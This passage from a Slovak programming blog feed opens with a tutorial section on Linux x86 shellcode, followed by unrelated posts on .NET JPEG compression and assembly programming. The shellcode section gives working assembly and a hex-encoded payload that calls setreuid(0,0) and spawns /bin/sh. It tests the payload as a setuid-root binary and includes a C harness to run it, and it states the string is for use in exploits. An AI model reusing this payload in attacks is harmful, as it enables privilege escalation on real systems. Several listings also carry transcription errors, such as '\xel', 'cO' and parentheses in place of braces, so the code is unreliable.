<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x46</span><span style="color: #666666; font-style: italic;">; nastaviť spodný bajt EAX na číslo volania (0x46 = 70)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span><span style="color: #666666; font-style: italic;">; vynulovať register EBX</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span><span style="color: #666666; font-style: italic;">; vynulovať register ECX</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; zavolať systém</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x01</span><span style="color: #666666; font-style: italic;">; nastaviť číslo volania na jedna (exit)</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; zavolať systém</span></pre></div></div>

<p>Ako vidíte, jednoducho naplníme registre a zavoláme int 0&#215;80. Program opäť končí volaním exit(0), ktoré je tentoraz o niečo jednoduchšie, pretože register EBX už obsahuje nulu.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Zdrojový kód ako zvyčajne preložte pomocou NASM, zostavte pomocou ld a spustite:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf setreuid.asm
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> <span style="color: #660033;">-o</span> setreuid setreuid.o
$ .<span style="color: #000000; font-weight: bold;">/</span>setreuid</pre></div></div>

<h4>Overovanie pomocou strace</h4>
<p>Navonok toho opäť moc nespoznáte, pomôže vám strace:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">strace</span> .<span style="color: #000000; font-weight: bold;">/</span>setreuid
execve<span style="color: #7a0874; font-weight: bold;">&#40;</span>.<span style="color: #000000; font-weight: bold;">/</span>setreuid, <span style="color: #7a0874; font-weight: bold;">&#91;</span>.<span style="color: #000000; font-weight: bold;">/</span>setreuid<span style="color: #7a0874; font-weight: bold;">&#93;</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">/*</span> <span style="color: #000000;">26</span> vars <span style="color: #000000; font-weight: bold;">*/</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
setreuid<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
_exit <span style="color: #7a0874; font-weight: bold;">&#40;</span>O<span style="color: #7a0874; font-weight: bold;">&#41;</span> = ?</pre></div></div>

<p>Presne ako sme čakali!</p>
<h3>Spustenie shellu pomocou execve</h3>
<p>Programy sa dajú v Linuxe spustiť niekoľkými rôznymi spôsobmi, jedným z najčastejších je systémové volanie <em>execve</em>. My si pomocou tohto volania skúsime spustiť program <em>/bin/sh</em>.</p>
<h4>Systémové volanie execve</h4>
<p>Podľa man stránky by spustenie programu <em>/bin/sh</em> funkciou <em>execve</em> vyzeralo približne takto:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span><span style="color: #339933;">*</span> shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// pomocné pole na dva reťazce</span>
shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// prvy prvok poľa nastavíme na &quot;/bin/sh&quot;</span>
shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// druhý prvok nastavíme na NULL</span>
execve<span style="color: #009900;">&#40;</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> shell<span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// zavoláme execve</span></pre></div></div>

<p>V assembleri by volanie execve vyzeralo nasledovne:</p>
<ul>
<li>EAX = OXB čiže 11. Technicky vzaté musíte na 0xb nastaviť AL, inak by zase došlo k zarovnanie čísla nulami.</li>
<li>EBX = adresa reťazca <em>/bin/sh</em> uloženého niekde v pamäti.</li>
<li>ECX = adresa poľa reťazcov, ktoré začína predchádzajúcim <em>/bin/sh</em> a končí na null.</li>
<li>EDX = jednoducho 0&#215;0, pretože tretí parameter môže byť null.</li>
</ul>
<p>Jediným problémom je zostavenie reťazca <em>/bin/sh</em> a práca s jeho adresou. My použijeme chytrý trik a reťazec zostavíme z dvoch kusov na zásobníku, takže adresu potrebnú pre parametre volania potom odvodíme z adresy zásobníka.</p>
<h4>Volanie z assembleru</h4>
<p>Nasledujúci assemblerový program najprv zavolá <em>setreuid(0,0)</em> a potom <em>execve /bin/sh</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> sc2.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text <span style="color: #666666; font-style: italic;">; začiatok oddielu s kódom</span>
global _start <span style="color: #666666; font-style: italic;">; deklarácie globálneho návestí </span>
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; označovanie kódu návestím je praktický zvyk</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra EAX, príprava na ďalší riadok </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x46</span> <span style="color: #666666; font-style: italic;">; systémové volanie číslo 0x46 alebo 70, jeden bajt</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra ebx </span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra ecx </span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; volanie systému</span>
<span style="color: #666666; font-style: italic;">; spustenie shellu pomocou execve </span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra eax </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; na vrchol zásobníka uložíme NULL </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; pridáme reťazec &quot;//sh&quot;, doplnený úvodným lomítkom</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; a reťazec /bin (všimnite si, že sú oba reťazce odzadu) </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; esp teraz ukazuje na &quot;/bin/sh&quot;, takže ho uložíme do ebx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; eax je stále nulový, môžeme ním ukončiť char** argv na zásobníku</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; ešte raz adresa &quot;/bin/sh&quot;, máme ju v ebx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; adresa argv je v esp, uložíme ju do ecx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; nastavíme edx na nulu (NULL), nie je potreba </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xb</span> <span style="color: #666666; font-style: italic;">; systémové volanie 0xb = 11, jeden bajt</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; volanie systému</span></pre></div></div>

<p>Ako vidíte, reťazec <em>/bin/sh</em> na zásobník skladáme odzadu. Najprv príde ukončovací NULL, potom <em>//sh</em> (reťazec musí mať štyri bajty, aby sa správne zarovnal, a dvojité lomítko nič nepokazí) a nakoniec <em>/bin</em>. V tomto okamihu už máme na zásobníku všetko, čo potrebujeme, takže adresu reťazca nájdeme v ESP. Zvyšok kódu je len nastavenie parametrov volania <em>execve</em> pomocou elegantného využitia zásobníka a hodnôt registrov.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Hotový shellkód si môžete vyskúšať, stačí preložiť pomocou NASM, zostaviť pomocou ld, nastaviť setuid bit a spustiť:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf sc2.asm 
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> <span style="color: #660033;">-o</span> sc2 sc2.o 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root sc2 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> +s sc2 
$ .<span style="color: #000000; font-weight: bold;">/</span>sc2 
sh-2.05b<span style="color: #666666; font-style: italic;"># exit</span>
<span style="color: #7a0874; font-weight: bold;">exit</span>
$</pre></div></div>

<p>Hurá! Funguje!</p>
<h4>Ako získať kódy inštrukcií</h4>
<p>Nezabudnite na to, že ak svoj shellkód chceme použiť v rámci exploitu, musíme z neho urobiť reťazec. Šestnástkové kódy inštrukcií dostanete jednoducho pomocou programu objdump, disassemblerovanie sa zapína parametrom -d:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ objdump <span style="color: #660033;">-d</span> .<span style="color: #000000; font-weight: bold;">/</span>sc2
.<span style="color: #000000; font-weight: bold;">/</span>sc2: <span style="color: #c20cb9; font-weight: bold;">file</span> formát elf32-i386</pre></div></div>

<p>Disassemblerovaná sekcia .text:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">08048080 &lt;_start&gt;:		
8048080 31 cO xor %eax, %eax
8048082 bO 46 mov $0x46,%al
; atd</pre></div></div>

<p>Najdôležitejšie je pozrieť sa, či medzi kódmi nie sú znaky null (0&#215;00). Keby sa tam nejaké našli, shellkód by sa nedal priamo použiť ako reťazec do exploitu.</p>
<h4>Testovanie shellkódu</h4>
<p>Aby sme sa uistili, že pre náš shellkód bude skutočne fungovať aj v rámci reťazca, vyrobíme si nasledujúci testovací program. Všimnite si, že sa reťazec so shellkódem dá rozdeliť na samostatné riadky s jednou inštrukciou. Výsledok je oveľa čitateľnejší, takže sa vám tento zvyk oplatí.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ cat sc2.c
char sc[] =  // biele znaky (napríklad konce riadkov) sa nepočítajú
// setreuid(0,0)
&quot;\x31\xc0&quot;      //     xor         %eax,%eax
&quot;\xb0\x46&quot;      //     mov         $0x46,%al
&quot;\x31\xdb&quot;      //     xor         %ebx,%ebx
&quot;\x31\xc9&quot;      //     xor         %ecx,%ecx
&quot;\xcd\x80&quot;      //     int         $0x80
// spustit shell pomocou execve
&quot;\x31\xc0&quot;     //     xor         %eax,%eax
&quot;\x50&quot;           //     push       %eax
&quot;\x68\x2f\x2f\x73\x68&quot;   //     push       $0x68732f2f
&quot;\x68\x2f\x62\x69\x6e&quot;  //     push       $0x6e69622f
&quot;\x89\xe3&quot;      //     mov         %esp,%ebx
&quot;\x50&quot;           //     push       %eax
&quot;\x53&quot;         //     push       %ebx
&quot;\x89\xel&quot;   //     mov         %esp,%ecx
&quot;\x31\xd2&quot;  //     xor         %edx,%edx
&quot;\xb0\x0b&quot;  //     mov         $0xb,%al
&quot;\xcd\x80&quot;;  //     int         $0x80, podkočiarkou (;) končí reťazec</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span> 
     <span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>fp<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">// deklarujeme ukazovateľ na funkciu, </span>
     fp <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> sc<span style="color: #339933;">,</span> <span style="color: #339933;">/</span> <span style="color: #339933;">/</span> nastavíme ho na adresu shellkódu 
     fp <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// a spustíme funkciu (alebo shellkód)</span>
<span style="color: #009900;">&#41;</span></pre></div></div>

<p>Program sa začne tým, že shellkód uloží do bufferu s menom <em>sc</em>. Ďalej vytvori ukazovateľ <em>fp</em>, čo je obyčajné štvorbajtové celé číslo používané ako ukazovateľ na nejakú funkciu. Tento ukazovateľ nastaví na adresu shellkódu, ktorý nakoniec spustí.</p>
<p>Kód si preložte a vyskúšajte:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-o</span> sc2 sc2.c 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root sc2 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> +s sc2 <span style="color: #000000; font-weight: bold;">*</span>
$ .<span style="color: #000000; font-weight: bold;">/</span>sc2
sh-2.05b<span style="color: #666666; font-style: italic;"># exit </span>
<span style="color: #7a0874; font-weight: bold;">exit</span></pre></div></div>

<p>Ako sa dalo čakať, dostali sme rovnaké výsledky ako minule. Gratulujeme, teraz môžete začať s písaním svojho vlastného kódu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kompresia obrázku v .NET</title>
		<link>http://www.bloog.sk/2009/09/13/kompresia-obrazku-v-net/</link>
		<comments>http://www.bloog.sk/2009/09/13/kompresia-obrazku-v-net/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 17:14:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[.NET]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=221</guid>
		<description><![CDATA[Platforma .NET podporuje kompresie JPEG, PNG a GIF. Samozrejme skutočné kompresné algoritmy sú napísané v C a assembleri. Ponúkam ukážku použitia knižnice .NET 3.0 na prácu s kompresiou JPEG. int sirka = 128; int vyska = sirka; int krok = sirka / 8; byte&#91;&#93; pixels = new byte&#91;vyska * krok&#93;; &#160; // Definujeme paletu pre [...]]]></description>
			<content:encoded><![CDATA[<p>Platforma .NET podporuje kompresie JPEG, PNG a GIF.  Samozrejme skutočné kompresné algoritmy sú napísané v C a assembleri.<br />
Ponúkam ukážku použitia knižnice .NET 3.0 na prácu s kompresiou JPEG.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #FF0000;">int</span> sirka <span style="color: #008000;">=</span> <span style="color: #FF0000;">128</span><span style="color: #008000;">;</span>
<span style="color: #FF0000;">int</span> vyska <span style="color: #008000;">=</span> sirka<span style="color: #008000;">;</span>
<span style="color: #FF0000;">int</span> krok <span style="color: #008000;">=</span> sirka <span style="color: #008000;">/</span> <span style="color: #FF0000;">8</span><span style="color: #008000;">;</span>
<span style="color: #FF0000;">byte</span><span style="color: #000000;">&#91;</span><span style="color: #000000;">&#93;</span> pixels <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #FF0000;">byte</span><span style="color: #000000;">&#91;</span>vyska <span style="color: #008000;">*</span> krok<span style="color: #000000;">&#93;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// Definujeme paletu pre obrazok</span>
BitmapPalette mojaPaleta <span style="color: #008000;">=</span> BitmapPalettes.<span style="color: #0000FF;">Halftone256</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// Vytvorime novy obrazok s preddefinovanou paletou</span>
BitmapSource obrazok <span style="color: #008000;">=</span> BitmapSource.<span style="color: #0000FF;">Create</span><span style="color: #000000;">&#40;</span>sirka, vyska, <span style="color: #FF0000;">96</span>, <span style="color: #FF0000;">96</span>, PixelFormats.<span style="color: #0000FF;">Indexed1</span>, mojaPaleta, pixels, krok<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
FileStream mojStream <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> FileStream<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;new.jpg&quot;</span>, FileMode.<span style="color: #0000FF;">Create</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
JpegBitmapEncoder mojEncoder <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> JpegBitmapEncoder<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
mojEncoder.<span style="color: #0000FF;">QualityLevel</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">30</span><span style="color: #008000;">;</span>
mojEncoder.<span style="color: #0000FF;">Frames</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>BitmapFrame.<span style="color: #0000FF;">Create</span><span style="color: #000000;">&#40;</span>obrazok<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
mojEncoder.<span style="color: #0000FF;">Save</span><span style="color: #000000;">&#40;</span>mojStream<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/13/kompresia-obrazku-v-net/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; Linux</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-linux/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-linux/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 15:22:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=77</guid>
		<description><![CDATA[I pod operačným systémom Linux bude náš program vypisovať na obrazovku Hello, World! Pripomeňme si, že existujú špeciálne číselné identifikátory súboru STDIN STDOUT a STDERR. Náš program &#8220;Hello World&#8221; bude vypisovať tento text na obrazovku (teda zapisovať na zariadenie STDOUT) a potom skončí. Teraz si ukážeme, ako zapísať do súboru, teda na STDOUT. Ak sa [...]]]></description>
			<content:encoded><![CDATA[<p>I pod operačným systémom Linux bude náš program vypisovať na obrazovku Hello, World! Pripomeňme si, že existujú špeciálne číselné identifikátory súboru STDIN STDOUT a STDERR. Náš program &#8220;Hello World&#8221; bude vypisovať tento text na obrazovku (teda zapisovať na zariadenie STDOUT) a potom skončí.<br />
Teraz si ukážeme, ako zapísať do súboru, teda na STDOUT.<br />
Ak sa pozrieme do do súboru unistd.h, zistíme, že systémové volanie pre zápis do súboru sa volá write. </p>
<p>WRITE (2) Linux Programmer&#8217;s Manual  WRITE (2)<br />
NAME<br />
      write &#8211; write to a file descriptor<br />
Synopsis</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;unistd.h&gt;;</span>
ssize_t write <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> fd<span style="color: #339933;">,</span> <span style="color: #993333;">const</span> <span style="color: #993333;">void</span> <span style="color: #339933;">*</span>buf<span style="color: #339933;">,</span> size_t count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Prvý zádrhel, píšeme v assembleri, ale manuálová stránka nám dáva prototyp systémového volania write v jazyku C. Ak nepoznáte jazyk C, bude sa vám prototyp čítať horšie, to však neznamená, že nebudete môcť vylúštiť, čo kam uložiť. V assembleri môžeme do registra zapísať buď priamo hodnotu alebo adresu. Myslím, že môžeme prijať zjednodušenie, že všetky parametre odovzdávame hodnotou, okrem parametrov označených hviezdičkou (to je ukazovateľ).<br />
Funkcia write vyžaduje tri parametre, podobne ako v DOSe: identifikačné číslo súboru (handle), ukazovateľ (adresa) na dala, ktoré sa majú uložiť (vidíte, je tam napísané *buf), a počet bajtov, ktoré chceme zapísať. Výstupom funkcie je počet skutočne zapísaných byte alebo chyba. Poruchový stav rozpoznáme od zapísaných bajtov tak, že vždy ide o záporné číslo.<br />
Zdrojový program preložíme překladačom NASM do objektového súboru, ktorý zostavíme zostavovacím programom ld. Získame tak spustiteľný súbor, ktorý na obrazovku vypíše Hello, World!</p>
<p>Pre preklad použijeme verziu prekladače NASM pre Linux. Objektový súbor typu elf vytvoríme prepínačom -f elf.<br />
Program Id bude potrebovať adresu prvej inštrukcie, ktorá sa bude vykonávať po zavedení programu do pamäti. V zdrojovom programe označíme miesto prvej inštrukcie špeciálnym globálnom návestím _start.<br />
Rovnako ako v OS DOS musíme program rozložiť do programových sekcií.<br />
Program Hello, World! by mohol vyzerať takto:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">SECTION <span style="color: #339933;">.</span>text 
global _start<span style="color: #666666; font-style: italic;">; aby linker vedel, kde je začiatok nášho programu, musíme definovať globálne symbol, _start </span>
_start<span style="color: #339933;">:</span> 
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span><span style="color: #666666; font-style: italic;">; prvý parameter, čislo systémového volania </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">EBX</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span><span style="color: #666666; font-style: italic;">; vieme, že konštanta STDOUT má hodnotu 1 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> hello <span style="color: #666666; font-style: italic;">; prekladač sem doplní adresu reťazca hello </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">012</span> <span style="color: #666666; font-style: italic;">; počet znakov reťazca Hello World! vrátane odradkovania</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; zavoláme jadro </span>
<span style="color: #666666; font-style: italic;">; pripojíme aj kód potrebný pre ukončenie programu </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span><span style="color: #666666; font-style: italic;">; číslo volania jadra - exit </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">EBX</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; návratový kód 0 </span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; zavoláme jadro a tak ukončíme náš proces (program) </span>
&nbsp;
SECTION <span style="color: #000000; font-weight: bold;">.data</span> 
hello <span style="color: #000000; font-weight: bold;">db</span> <span style="color: #7f007f;">&quot;Hello, world!&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xa</span><span style="color: #666666; font-style: italic;">; náš reťazec vrátane nového riadku </span>
len equ $ <span style="color: #339933;">-</span> hello <span style="color: #666666; font-style: italic;">;  symbolu len bude priradená dĺžka reťazca</span></pre></div></div>

<p>Program preložíme ľahko: </p>
<p><code>nasm -f elf hello.asm</code> </p>
<p>A zostavíme linker ld. </p>
<p><code>ld -s -o hello hello.o</code> </p>
<p>Parameter -o udáva meno výsledného spustiteľného súboru. Parametrom -s chceme odstrániť všetky nepotrebné (symbolické) informácie.<br />
Výsledný program môžeme spustiť príkazom:</p>
<p><code>./ Hello<br />
Hello World!</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; Windows API</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-win-api/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-win-api/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 14:54:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=69</guid>
		<description><![CDATA[MessageBox Navrhovaný program má vytvoriť dialógové okno a skončiť. Dialógové okno vytvoríme volaním API funkcie MessageBox a o ukončenie programu sa postaráme funkciou rozhrania API nazývanou ExitProcess. V dokumentácii k MessageBox sa dočítame: int MessageBox &#40; IFWND hWnd, // handle of owner window LPCTSTR lpText, // address of text in message box LPCTSTR lpCaption, // [...]]]></description>
			<content:encoded><![CDATA[<h3>MessageBox</h3>
<p>Navrhovaný program má vytvoriť dialógové okno a skončiť. Dialógové okno vytvoríme volaním API funkcie MessageBox a o ukončenie programu sa postaráme funkciou rozhrania API nazývanou ExitProcess.<br />
V dokumentácii k MessageBox sa dočítame:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> MessageBox <span style="color: #009900;">&#40;</span> 
IFWND hWnd<span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// handle of owner window </span>
LPCTSTR lpText<span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// address of text in message box </span>
LPCTSTR lpCaption<span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// address of title of message box </span>
UINT Utype <span style="color: #666666; font-style: italic;">// style of message box </span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Prvým parametrom bude popisovač vlastného okna. Žiadny nemáme, preto predáme nulu. Druhým parametrom je ukazovateľ na text, ktorý sa v dialógovom okne zobrazí (klasický reťazec zakončený nulovým byte), tretím ukazovateľom je text titulku okna. Posledný parameter určuje typ dialógového okna (použijeme symbolickú konštantu MB_OK &#8211; z include súboru, viď  ďalej).<br />
Druhé volanie API funkcie ExitProcess, rovnako ako v DOSe, svojím jediným parametrom určuje chybový kód ukončeného programu. Po jeho zavolaní program skončí.<br />
Aby bol život programátora v assembleri jednoduchší, bol vytvorený &#8220;include súbor&#8221; win32n.inc, v ktorom sú definované všetky typy parametrov API (napr. HWND aj LPCTSTR zodpovedajú v assembleri obyčajnému dvojslovu &#8211; dword) i hodnoty symbolických konštánt. Do programu tento súbor vložíme direktívou include:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">%</span><span style="color: #000000; font-weight: bold;">include</span> <span style="color: #7f007f;">&quot;win32n.inc&quot;</span><span style="color: #666666; font-style: italic;">; vložíme súbor win32n.inc</span></pre></div></div>

<p>Použité API funkcie uložené v dynamických knižniciach nesmieme zabudnúť sprístupniť nášmu programu. Stačí použiť direktívy EXTERN a IMPORT: </p>
<p>EXTERN MessageBox ; symbol MessageBox je definovaný inde<br />
IMPORT MessageBox user32.dll ; konkrétne v user32.dll<br />
EXTERN ExitProcess ; symbol ExitProcess je definovaný inde<br />
IMPORT ExitProcess kernel32.dll ; konkrétne v kernel32.dll</p>
<p>Zostáva vyriešil jediný problém: Ako odovzdať API funkciám jednotlivé parametre. Zoznámime sa tu len stručne s odovzdávacími konvenciiami parametrov rozhrania Win32 API.<br />
Predávaciia konvencia sa volá STDCALL. Parametre sa odovzdávajú cez zásobník sprava doľava (ako v jazyku C), vymazanie zásobníka vykonáva volaný (ako v jazyku Pascal).<br />
